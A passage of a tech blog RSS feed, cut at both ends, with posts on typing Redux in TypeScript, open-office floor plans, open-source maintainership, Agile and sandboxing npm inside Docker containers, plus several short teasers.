&lt;p&gt;Going from top to bottom. We start out creating a few action types: &lt;em&gt;INCREMENT&lt;/em&gt; and &lt;em&gt;DECREMENT&lt;/em&gt;. This will allow us to reuse these strings as types, and get rid of any 'magic strings'. Creating action types improves our code so we only have one place to update this value if our type should change. Additionally, reduces bugs that can occur due to human error (eg. we accidently put 'inCREMENT' or 'increment' instead of 'INCREMENT').&lt;/p&gt;
&lt;p&gt;Moving on, we hit a Typescript type and a few interfaces. In &lt;em&gt;ActionTypes&lt;/em&gt; we use a union type to say, "we can use any of these types". This will come in handy later. Next, we define a general interface for our action creators. We provide the required Redux &lt;em&gt;type&lt;/em&gt; property that reuses &lt;em&gt;ActionTypes&lt;/em&gt;. To keep different actions similar, we'll use payload to deliver a 'value' we want our reducer to work on. For the counter, we'll use &lt;strong&gt;IPayload&lt;/strong&gt; which has one property &lt;em&gt;amount&lt;/em&gt; which is a number. We'll use this to set the amount we'll either increment or decrement the count.&lt;/p&gt;
&lt;p&gt;Finally, we'll create an action creator for both increment and decrementing our counter. These functions are pretty straightforward. They are both functions that take a number, &lt;em&gt;amount&lt;/em&gt;, and returns an &lt;em&gt;IAction&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Reducer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export const defaultState = {
  count: 0,
};

export function rootReducer(state = defaultState, action: IAction) {
  switch (action.type) {
    case INCREMENT:
      return {
        count: state.count + action.payload.amount,
      };

    case DECREMENT:
      return {
        count: state.count - action.payload.amount,
      };

    default:
      return state;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I won't spend too much time on the reducer as Typescript doesn't play much role here (in this example). We'll export our &lt;em&gt;defaultState&lt;/em&gt; to use later!&lt;/p&gt;
&lt;h3&gt;Component&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface IStateToProps {
  count: number;
}

interface IDispatchToProps {
  increment: typeof increment;
  decrement: typeof decrement;
}

type AllProps = IStateToProps &amp;amp; IDispatchToProps;

class App extends React.Component&amp;lt;AllProps&amp;gt; {
  private handleClick = (event: React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;) =&amp;gt; {
    const type: string = event.currentTarget.title;

    if (type === "decrement") {
      this.props.decrement(1);
    } else {
      this.props.increment(2);
    }
  };

  public render() {
    return (
      &amp;lt;div&amp;gt;
        &amp;lt;button title="decrement" onClick={this.handleClick}&amp;gt;
          -
        &amp;lt;/button&amp;gt;
        {this.props.count}
        &amp;lt;button title="increment" onClick={this.handleClick}&amp;gt;
          +
        &amp;lt;/button&amp;gt;
      &amp;lt;/div&amp;gt;
    );
  }
}

export const ConnectedApp = connect&amp;lt;IStateToProps, IDispatchToProps&amp;gt;(
  (state: typeof defaultState) =&amp;gt; ({
    count: state.count
  }),
  {
    increment,
    decrement
  }
)(App);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example we're using a library &lt;em&gt;react-redux&lt;/em&gt;--making it easier to connect React components to Redux. Starting out, we create two interfaces that we'll use both as &lt;strong&gt;App&lt;/strong&gt;'s props and in the &lt;code&gt;connect()&lt;/code&gt; function at the bottom of the code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IStateToProps&lt;/strong&gt; we tell Typescript what the mapped state will be named. In our case we'll keep the name &lt;em&gt;count&lt;/em&gt;.&lt;br /&gt;
&lt;strong&gt;IDispatchToProps&lt;/strong&gt; we define what actions our component will get. Using &lt;code&gt;typeof&lt;/code&gt; we can easily tell Typescript to reuse the implied type definition of &lt;em&gt;increment&lt;/em&gt; and &lt;em&gt;decrement&lt;/em&gt; (our actions).&lt;/p&gt;
&lt;p&gt;Next, we create a new type that combines both &lt;em&gt;IStateToProps&lt;/em&gt; and &lt;em&gt;IDispatchToProps&lt;/em&gt;. This is more for convenience as we see in &lt;strong&gt;App&lt;/strong&gt;'s prop definition. We could of also used &lt;code&gt;class App extends React.Component&amp;lt;IStateToProps &amp;amp; IDispatchToProps&amp;gt;&lt;/code&gt; and avoided the need for &lt;em&gt;AllProps&lt;/em&gt;. Combining all the props to a type becomes valuable when using multiple lifecycle hooks (&lt;code&gt;shouldComponentUpdate(nextProps: AllProps)&lt;/code&gt;), or multiple functions that work off the props!&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;App&lt;/strong&gt; component is pretty similar to our part one example, so we'll skip this and look at the &lt;code&gt;connect()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;connect()&lt;/code&gt; is a generic type that can take three types &lt;code&gt;connect&amp;lt;IStateToProps, IDispatchToProps, IProps&amp;gt;()&lt;/code&gt;. Going from left to right--first is the type definition for stateToProps. This is the connecting component's props we're mapping the Redux &lt;strong&gt;state&lt;/strong&gt; to. Second, the type definition for dispatchToProps. This is the connecting component's props we're mapping Redux &lt;strong&gt;actions&lt;/strong&gt; to. Lastly, we're not using it in this example, but we can provide the props of our component we're connecting.&lt;/p&gt;
&lt;p&gt;We've successfully converted our counter to Redux, and provided useful types also!&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Sun, 15 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/using-typescript-with-redux-part-two/</guid></item><item><title>Hardware bookmarks</title><link>https://xenodium.com/hardware-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.romanzolotarev.com/setup.html"&gt;Roman Zolotarev's OpenBSD on my fanless desktop computer (really sweet setup)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://michael.stapelberg.ch/posts/2020-05-23-desk-setup/"&gt;stapelberg uses this: my 2020 desk setup&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 14 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/hardware-bookmarks</guid></item><item><title>Midsummer</title><link>https://faingezicht.com/photos/2018/07/14/midsummer/</link><description>This year is going by too fast. Somehow, it is already mid July.</description><author>Avy Faingezicht</author><pubDate>Sat, 14 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/07/14/midsummer/</guid></item><item><title>Open Office Floor Plans are Saving Your Job's Ass</title><link>https://adriano.fyi/posts/2018-07-14-open-office-floor-plans-are-saving-your-job-s-ass/</link><description>&lt;p&gt;Do I have your attention? I&amp;rsquo;ll come clean — I don&amp;rsquo;t actually have very strong feelings about open office floor plans, but with so many people &lt;a href="https://m.signalvnoise.com/the-open-plan-office-is-a-terrible-horrible-no-good-very-bad-idea-42bd9cd294e3"&gt;waxing hyperbolic about them&lt;/a&gt;, I felt that it was time someone weighed in with a contrarian opinion and matching hyperbole.&lt;/p&gt;
&lt;p&gt;DHH&amp;rsquo;s article above titled &amp;ldquo;The open-plan office is a terrible, horrible, no good, very bad idea&amp;rdquo; reduces the open-office decision to the idea that open offices look good to managers signing leases. The idea is that managers would like to parade visitors through a &amp;ldquo;fun&amp;rdquo; environment that looks good as a backdrop for media interviews. These managers—so the thinking goes—don&amp;rsquo;t care what impact open offices have on employees&amp;rsquo; work lives because managers don&amp;rsquo;t live with the decision directly; they simply reap the media benefits. What with their corner offices and travel-heavy schedules. This argument is highly reductive and doesn&amp;rsquo;t honestly portray the multitude of reasons that companies choose to have open offices. I think I understand one of those reasons.&lt;/p&gt;
&lt;p&gt;Disdain for open offices is becoming technocrats&amp;rsquo; newest and laziest trope. A lot of digital ink has been spilt cataloguing the ways in which they&amp;rsquo;re the demise of modern work. And a lot of digital ink has been split torturing this ink-spilling expression for the digital age. Let&amp;rsquo;s not dwell on that; let&amp;rsquo;s talk open-office floor plans.&lt;/p&gt;
&lt;h2 id="open-offices"&gt;Open Offices&lt;/h2&gt;
&lt;p&gt;Within companies around the world, there exists a relatively small, but very vocal minority of people who despise the open-office floor plan. Let me just say this to you — your antipathy is completely valid. There are plenty of great reasons not to like open-office floor plans. They&amp;rsquo;re loud, not conducive to deep work and thinking, they breed anxiety, and most importantly they&amp;rsquo;re absolutely full of distractions that preclude productivity. I work for a company with an open-office floor plan and at any time of day, if I&amp;rsquo;m not listening to music or white noise to drown it out, I could probably listen into three to five different conversations. We&amp;rsquo;ve even turned these conversations into a series of Slack channels spanning multiple floors and offices: #heardinsf, #heardon3rd, and #said-it-on-2nd. Hands-down these channels are the best thing about our open-office floor plans.&lt;/p&gt;
&lt;p&gt;My recent personal favorite&lt;/p&gt;
&lt;p&gt;![How long have you been working on this modal?](/img/Screen Shot 2018-07-14 at 12.25.48 PM.png)&lt;/p&gt;
&lt;p&gt;But with that said, no business has ever failed because of their decision to have an open floor plan. I&amp;rsquo;d like to say &amp;ldquo;full stop&amp;rdquo; here, but I&amp;rsquo;d also like you to continue with the ostensibly false premise that I&amp;rsquo;m not a complete asshole. The thing is, open-office floor plans are pervasive for a very good reason: they&amp;rsquo;re cheap, and saving money is good. In order to explain why they&amp;rsquo;re so cheap I should probably have some knowledge of commercial real estate (I have none), but I&amp;rsquo;ll do it anyway because the gray matter that affords me a modicum of critical thinking would like to have a moment.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s look at the two most common alternatives to open-office floor plans. I&amp;rsquo;ll spend a little bit of time on one—denegrating it—and a bit more time on the other reflecting on what it means for your company&amp;rsquo;s balance sheet.&lt;/p&gt;
&lt;h2 id="alternate-floor-plans"&gt;Alternate Floor Plans&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Cubicles&lt;/em&gt; — 😱I&amp;rsquo;d like to say, &amp;ldquo;&amp;rsquo;nuff said&amp;rdquo;, but I suspect that a lot of the people recently castigating companies for their open-office floor plans have never worked in a cubicle farm. Do they not realize that cubicles are the next-most-likely choice to an open-office plan? Let me just say this: cubicle farms, muted by the monotone hum of white noise piped in through A.C. vents from recessed ceilings &amp;hellip; are one of the world&amp;rsquo;s greatest soul-crushers. I&amp;rsquo;ve never been more unhappy professionally than when the majoirty of my time was spent in such an environment. I suspect &lt;em&gt;Office Space&lt;/em&gt; would not have been a success without it&amp;rsquo;s cubicle farm setting. It&amp;rsquo;s the only setting that properly fits the crushed-soul &lt;em&gt;Office Space&lt;/em&gt; narrative. That feeling resonated with people. Let&amp;rsquo;s go ahead and, sort of, move on to the next topic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;input hidden="hidden" id="zoomCheck-dc75e" type="checkbox" /&gt;
&lt;label for="zoomCheck-dc75e"&gt;
  &lt;img alt="Lumburgh, Office Space" class="zoomCheck" src="https://adriano.fyi/img/lumburgh.jpg" /&gt;
&lt;/label&gt;
&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;em&gt;Custom floor plans&lt;/em&gt; — They&amp;rsquo;re great. They&amp;rsquo;re fantastic. They&amp;rsquo;re the best. Office managers have the opportunity to design a space that works for &lt;em&gt;you&lt;/em&gt; and &lt;em&gt;your&lt;/em&gt; company, taking into account all of your quirks and excentricities. The problem is, they&amp;rsquo;re really fucking expensive. And I&amp;rsquo;m not talking about the buildout (also really expensive); I&amp;rsquo;m talking about what it means for your commercial lease.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Imagine you&amp;rsquo;re in real estate for a moment. You have a space that lends itself to various business types that are compaitble with open-office plans, and it&amp;rsquo;ll easily fetch $40,000/mo. Now let&amp;rsquo;s imagine that a prospective lessee would like to build out a custom floor plan in your open space. They may occupy it for one to three years, as they&amp;rsquo;re a fast-growing company, but eventually when they leave — you&amp;rsquo;re left with their lousy floor plan. Do you still charge $40,000/mo? No. You charge more. A lot more. Because in all likelihood, the next company interested in leasing your space will be about as inclined to keep the previous tenant&amp;rsquo;s floor plan as Peter Gibbons was in filling out another TPS report. Your company&amp;rsquo;s quirks and excentricities may as well be a TPS report to landlords.&lt;/p&gt;
&lt;p&gt;Chances are, for a large enough space, the price difference between a custom and open floor plan would both pay your annual salary and keep a keg of millenial juice (cold brew) on tap year-round. So maybe that open-office floor plan you hate is saving your job&amp;rsquo;s ass. But who am I to say? Pop in some noise-cancelling headphones, lobby for quiet spaces/times, and figure out how to make your open-office work. I would argue that nearly every issue people have with open offices can be fixed, or at least mitigated to a large degree by brainstorming what works for your company&amp;rsquo;s unique needs. Unless your company is insanely profitable—in which case, I hope you get that custom floor plan so you can stare down your nose at the rest of us plebes sharing space and making sensible business decisions—you probably have no place building out a custom office floor plan. The money saved might just materialize as your next pay raise. Buy yourself a better pair of headphones; or take a writing class to hone your management-lobbying skills for that quiet space. I don&amp;rsquo;t really care — just please stop parroting this trope du jour unless you you&amp;rsquo;re offering a better, afforable alternative.&lt;/p&gt;</description><author>Adriano Caloiaro's personal blog</author><pubDate>Sat, 14 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://adriano.fyi/posts/2018-07-14-open-office-floor-plans-are-saving-your-job-s-ass/</guid></item><item><title>Lessons from Open Source</title><link>/open-source-lessons/</link><description>&lt;p&gt;Contributing to open source is often touted as a great way to be recognized in the software development community, with many heralding their &lt;a href="https://github.com/"&gt;Github&lt;/a&gt; profiles as a resumé of sorts. Additionally, open source software developers find their programming abilities enhanced and motivations for their day-jobs recharged. Beyond these, however, there are further lessons that can be learnt from contributing to open source.&lt;/p&gt;
&lt;h2&gt;Code Ownership&lt;/h2&gt;
&lt;p&gt;When I first took over as maintainer for an open source project, I found myself with a good sense of how the code base &lt;em&gt;should&lt;/em&gt; be. It was my baby that I had cared for and was trying to improve. When I began to encourage the community to add to the project I began to see strange new solutions that I would not have chosen. Moreover, I was cautious about appointing anyone else as a maintainer to the organisation I had created.&lt;/p&gt;
&lt;p&gt;I was not focused on delivering features and bug fixes but instead on how I perceived the codebase *should *be.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*KzBNzDDzzdTtEh32." /&gt;
	&lt;em&gt;“No, it should look like this!”&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;It highlights an interesting point, you can’t be precious about the approach. Problems can be solved many different ways. There is more than one way to skin a cat as they say — and it could not be truer when it comes to software development.&lt;/p&gt;
&lt;p&gt;Your goal as an open source maintainer should be to enable and encourage people to solve these problems however they like. The specifics of the code should be ignored and instead focus should be given to how well documented it is and how well tested it is.&lt;/p&gt;
&lt;p&gt;Of course, sometimes a certain approach is more convoluted than perhaps necessary. In these cases, &lt;strong&gt;discuss&lt;/strong&gt; the reasons why the person went for that approach. Perhaps they tried the approach you were thinking of, but it did not work for whatever reason. Don’t go in all guns blazing, as the more the code changes the more it might favour one solution over another.&lt;/p&gt;
&lt;h2&gt;Communication&lt;/h2&gt;
&lt;p&gt;Open source by its nature is open to basically anyone with a Github account. Therefore, people who stumble across your project and want to contribute to it may not be from the same time zone or have English as a second language. This can often lead to miscommunications. Therefore, it is best to make a concerted effort to ensure there is no ambiguity with what you are saying. Furthermore, different nations may have certain customs in their language that whilst might offend you, are thought of as nothing from others. This can be the case in reverse too, so be mindful of any language that could offend others unnecessarily.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*2nwpaiTXHO_QQXR1." /&gt;
	&lt;em&gt;Emotion doesn’t always travel well on the internet&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;An important thing to bear in mind when communicating with either maintainers or contributors of open source projects is that they are doing this in their free-time unpaid. With that in mind, you need to be wary of pressuring people into timeframe commitments or being overly critical in merge request comments. Make sure you are kind and considerate throughout. This principle applies to your day to day work, sure there might be times where ruffling some feathers in needed, but buy-and-large it pays to be positive and encouraging.&lt;/p&gt;
&lt;h2&gt;Writing&lt;/h2&gt;
&lt;p&gt;Beyond writing code, there is an even more important, yet seldom thought of, form of writing — documentation. Critically in open source, if you want people to use your thing — you gotta tell them how to use that thing!&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*0Ijnny5zhcXA1nUM." /&gt;
	&lt;em&gt;Where is the “any” key?&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;This presents an interesting challenge, you need to write your documentation in a manner that suits your target audience. If your application is aimed more towards beginner programmers then gear your documentation towards that. Don’t assume someone already has &lt;a href="https://github.com/nodejs/node/wiki/Installation"&gt;Node&lt;/a&gt; or &lt;a href="https://docs.mongodb.com/tutorials/install-mongodb-on-windows/"&gt;MongoDB&lt;/a&gt; installed, show them how or point them to further guides where they can learn. A good way to hone your documentation writing skills is to discover a new API and write documentation for it. Dig through the source code and find out the usage of that endpoint and what it outputs. Since you’re approaching that project as an outsider your documentation will naturally lend itself to that audience and will provide an outstanding benchmark for how future documentation you will write.&lt;/p&gt;
&lt;p&gt;As with all writing, the point is to be clear, concise and easy to understand.&lt;/p&gt;
&lt;p&gt;Open source software is a lot more than just adding features and fixing bugs, it’s about the people. These lessons are important to embrace for use in a real-world environment and will prove invaluable. If you’re looking for a place to start contributing &lt;a href="https://up-for-grabs.net/"&gt;Up-For-Grabs&lt;/a&gt; is great. Alternatively, find some software you already use and if it is open source, try and tackle an issue on their Github page. Open source has opened many doors for me and furthered my career more than anything else I’ve done — and it can with you too.&lt;/p&gt;</description><author/><pubDate>Sat, 14 Jul 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/open-source-lessons/</guid></item><item><title>Simple design is hard</title><link>https://yasha.solutions/simple-design-is-hard/</link><description>It’s a complex thing to make things simple.
The main reason is you need to make a choice on what is the one or two thing you want to put forth.To make the right choice your idea need to prioritise what matter most to solve the solution at hand in a elegant way. The problem is that elegant is sure enough not understood the same by two people the same way.</description><author>Yasha Solutions</author><pubDate>Fri, 13 Jul 2018 22:15:29 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/simple-design-is-hard/</guid></item><item><title>Internet doesn’t mean freedom</title><link>https://yasha.solutions/internet-doesnt-mean-freedom/</link><description>Internet is for many the symbol of freedom.
So were books.
Tools are just that tools.
This doesn’t mean we shouldn’t strive for freedom.
But realize that self-education is the real freedom.
Because the fuel to self-education is the search for truth.
Without truth there is no Freedom
Just non-obvious choices between various lies.</description><author>Yasha Solutions</author><pubDate>Fri, 13 Jul 2018 22:15:23 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/internet-doesnt-mean-freedom/</guid></item><item><title>Abandoning the baggage of Agile</title><link>https://ilearnt.com/blog/developersshouldabandonagile/</link><description>&lt;p&gt;I have worked with various flavours of &amp;ldquo;Agile&amp;rdquo; over numerous years. These have ranged from the very formal where everything is done by the book to more ad-hoc versions where different parts are cherry picked or in most cases done because people think they should be done.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 13 Jul 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/developersshouldabandonagile/</guid></item><item><title>Abolish performance reviews</title><link>https://ilearnt.com/blog/abolishperformancereviews/</link><description>&lt;p&gt;I have never been a fan of performance reviews. It may have been down to the way they were implemented at the places I worked however they never seemed to achieve what they were set out to do. The review would usually consist of going over the &amp;ldquo;achievements&amp;rdquo; for the past period and then setting a bunch of artificial goals for the next period. The only time these new goals were actually consulted was in the run up to the next review.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 13 Jul 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/abolishperformancereviews/</guid></item><item><title>Securing local development with containers</title><link>https://peterlyons.com/problog/2018/07/securing-local-development-with-containers/</link><description>&lt;p&gt;Starting this Spring when I changed OSes from mac to linux, I decided to experiment with using docker containers to isolate dangerous development tools from my local system. Given the npm malware attack yesterday, this seems like a good time to write up my results so far.&lt;/p&gt;
&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;
&lt;p&gt;OK I'll try not to get overly long-winded here, but let me just state broadly that I think the core fundamental idea in linux that you log in to your system with an effective userid, that userid has read/write access to your entire home directory (typically), and when you execute a program, it runs as your userid and therefore generally has read/write access to all of your files is utterly and fundamentally misguided and inappropriate. I have some designs that are basically the opposite of this, but I don't want to digress into that. Pragmatically, I wanted to find some way to mitigate this geologically-huge security vulnerability using existing tools and not going full-on Stallman.&lt;/p&gt;
&lt;p&gt;To just clarify the specific vulnerability here, I'm talking about running commands like &lt;code&gt;npm install&lt;/code&gt; and having that download code from the Internet, some of which is malicious, then executing that malicious code and having it do any one of the following nasty things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Delete a bunch of your files, either maliciously or due to a bug&lt;/li&gt;
&lt;li&gt;Read a bunch of your private files such a ssh private keys and upload them to an attacker-controlled server&lt;/li&gt;
&lt;li&gt;Make some subtle and hard-to-detect alteration to some key file&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="container-isolation-basic-approach"&gt;Container Isolation Basic Approach&lt;/h2&gt;
&lt;p&gt;So when I had a clean slate I decided to try to mitigate this risk with the following basic tactic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each project gets a docker container with a basic shell, node/npm, and maybe a few other development tools as needed&lt;/li&gt;
&lt;li&gt;npm and node never get executed directly on the host OS, only within the container&lt;/li&gt;
&lt;li&gt;The container only gets a filesystem volume mounted with a specific project working directory. It has no access to my home directory, any dotfiles, or any sibling project directories&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setup-script"&gt;Setup script&lt;/h2&gt;
&lt;p&gt;The pattern is similar for most projects, but varies a little bit depending on the tech stack I'm working with (these days mostly node.js or rust), and the specific needs of the project in terms of tools, environment variables, network ports, etc.&lt;/p&gt;
&lt;p&gt;Here's a representative sample for a node project. I typically check a file in as &lt;code&gt;bin/docker-run.sh&lt;/code&gt; to fire up that project's docker container.&lt;/p&gt;
&lt;pre class="language-bash "&gt;&lt;code class="language-bash"&gt;#!&amp;#x2f;usr&amp;#x2f;bin&amp;#x2f;env bash

# Please Use Google Shell Style: https:&amp;#x2f;&amp;#x2f;google.github.io&amp;#x2f;styleguide&amp;#x2f;shell.xml

# ---- Start unofficial bash strict mode boilerplate
# http:&amp;#x2f;&amp;#x2f;redsymbol.net&amp;#x2f;articles&amp;#x2f;unofficial-bash-strict-mode&amp;#x2f;
set -o errexit    # always exit on error
set -o errtrace   # trap errors in functions as well
set -o pipefail   # don&amp;#x27;t ignore exit codes when piping output
set -o posix      # more strict failures in subshells
# set -x          # enable debugging

IFS=&amp;quot;$(printf &amp;quot;\n\t&amp;quot;)&amp;quot;
# ---- End unofficial bash strict mode boilerplate

cd &amp;quot;$(dirname &amp;quot;$0&amp;quot;)&amp;#x2f;..&amp;quot;
exec docker run --rm --interactive --tty \
  --volume &amp;quot;${PWD}:&amp;#x2f;opt&amp;quot; \
  --workdir &amp;#x2f;opt \
  --env USER=root \
  --env PATH=&amp;#x2f;usr&amp;#x2f;sbin:&amp;#x2f;usr&amp;#x2f;bin:&amp;#x2f;sbin:&amp;#x2f;bin:&amp;#x2f;opt&amp;#x2f;node_modules&amp;#x2f;.bin \
  &amp;quot;node:$(cat .nvmrc)&amp;quot; &amp;quot;${1-&amp;#x2f;bin&amp;#x2f;bash}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here's some detail on what this does.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exec docker run&lt;/code&gt; runs the docker container. The &lt;code&gt;exec&lt;/code&gt; just replaces the shell with the docker process instead of having the shell process stay around waiting.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rm&lt;/code&gt; delete the container right away instead of leaving useless cruft around gradually filling your filesystem&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--interactive --tty&lt;/code&gt; set this up for an interactive terminal session&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--volume&lt;/code&gt; exposes the project's files to the container&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--workdir&lt;/code&gt; puts your shell in the project root right away&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--env&lt;/code&gt; sets environment variables. You may need to set things like &lt;code&gt;HOME&lt;/code&gt; or &lt;code&gt;USER&lt;/code&gt;, maybe not. For node, adding &lt;code&gt;/opt/node_modules/.bin&lt;/code&gt; to your &lt;code&gt;PATH&lt;/code&gt; can be handy so you can avoid the silly &lt;code&gt;npm install -g&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For node, I get the desired node version from my &lt;code&gt;.nvmrc&lt;/code&gt; file in the project root&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--publish 9229:9229&lt;/code&gt; is handy to enable devtools debugging to work&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--publish 3000:3000&lt;/code&gt; is what you need for a node server project that listens on port 3000&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;${1-/bin/bash}&lt;/code&gt; means when no arguments are passed, run bash, but if an argument is passed, run that instead. Generally I don't need that but I can do &lt;code&gt;./bin/docker-run.sh node server.js&lt;/code&gt; for example if I know I want to run the server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="how-well-does-it-work"&gt;How well does it work?&lt;/h2&gt;
&lt;p&gt;So far all the basic stuff is working OK. Running npm works, running node works, debugging works OK, running an http server works. Terminal colors work. Arrow keys work. Bash history searching works (at least for a given shell session).&lt;/p&gt;
&lt;p&gt;One gripe I have, which I could remedy I just haven't gotten around to it yet is in the container I have a vanilla bash configuration without my normal toolbox of zsh and dozens of aliases, functions, settings, etc. Usually I'm only running 3 or 4 commands in the container in a tight loop, and arrow keys and history searching work fine, so it's OK. However, bash history of commands in the container does not persist, so if I come up with a useful long command line, I need to take special action to capture it in a script or my notes.&lt;/p&gt;
&lt;h2 id="further-isolation"&gt;Further isolation&lt;/h2&gt;
&lt;p&gt;This is where I am at the moment, but of course as with all security efforts, there's an endless list of additional measures that could be taken. Here's the next few things I plan to look at.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a non-root user in the container&lt;/li&gt;
&lt;li&gt;Get stricter with docker capability limitations&lt;/li&gt;
&lt;li&gt;Maybe run git in the container&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Right now I'm only running npm and &lt;code&gt;node my-project.js&lt;/code&gt; within the container (or cargo for a rust project). I trust git a lot more than I do npm, but I think with git hooks ultimately the same vulnerability exists with git, so I'd like to run that in the container. However, there's a few kinks to work out in terms of filesystem userids, ssh agent access for pull/push, etc.&lt;/p&gt;
&lt;p&gt;I hope you found this interesting and useful. Stay safe out there!&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Fri, 13 Jul 2018 11:36:01 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/07/securing-local-development-with-containers/</guid></item><item><title>Distorted reality</title><link>https://www.unsungnovelty.org/gallery/distorted-reality/</link><description/><author>unsungNovelty</author><pubDate>Fri, 13 Jul 2018 03:25:16 GMT</pubDate><guid isPermaLink="true">https://www.unsungnovelty.org/gallery/distorted-reality/</guid></item><item><title>Truth</title><link>https://mbutler.org/truth/</link><description>I have recently been very interested in Truth as a value premise. Not True in a boolean sense of it being opposite of False, but true in the sense that it is counter to fake. What is true? What is fake? Can something or someone be true and fake simultaneously? I created this app (based [&amp;#8230;]</description><author>mbutler</author><pubDate>Fri, 13 Jul 2018 02:38:23 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/truth/</guid></item><item><title>EU research on digital DIY "vs" gun control becomes even more relevant</title><link>https://stop.zona-m.net/2018/07/eu-research-on-digital-diy-vs-gun-control-becomes-even-more-relevant/</link><description>&lt;p&gt;A landmark legal decision makes it possible for everybody to make their own, untraceable assault rifles at home. What now?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 12 Jul 2018 04:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/eu-research-on-digital-diy-vs-gun-control-becomes-even-more-relevant/</guid></item><item><title>The Hard Thing About Hard Things: Building a Business When There Are No Easy Answers―Straight Talk on the Challenges of Entrepreneurship</title><link>https://olshansky.info/book/the_hard_thing_about_hard_things/</link><description>Olshansky's review of The Hard Thing About Hard Things: Building a Business When There Are No Easy Answers―Straight Talk on the Challenges of Entrepreneurship by Ben Horowitz</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 12 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_hard_thing_about_hard_things/</guid></item><item><title>Add git version tag after publishing to npm</title><link>https://muffinman.io/blog/add-git-version-tag-after-publishing-to-npm/</link><description>&lt;article class="article"&gt;&lt;h2 id="tldr"&gt;TL;DR &lt;a class="anchor-link" href="#tldr"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you just want to add git version tag after &lt;code&gt;npm publish&lt;/code&gt; add this to your &lt;code&gt;package.json&lt;/code&gt;:&lt;/p&gt;
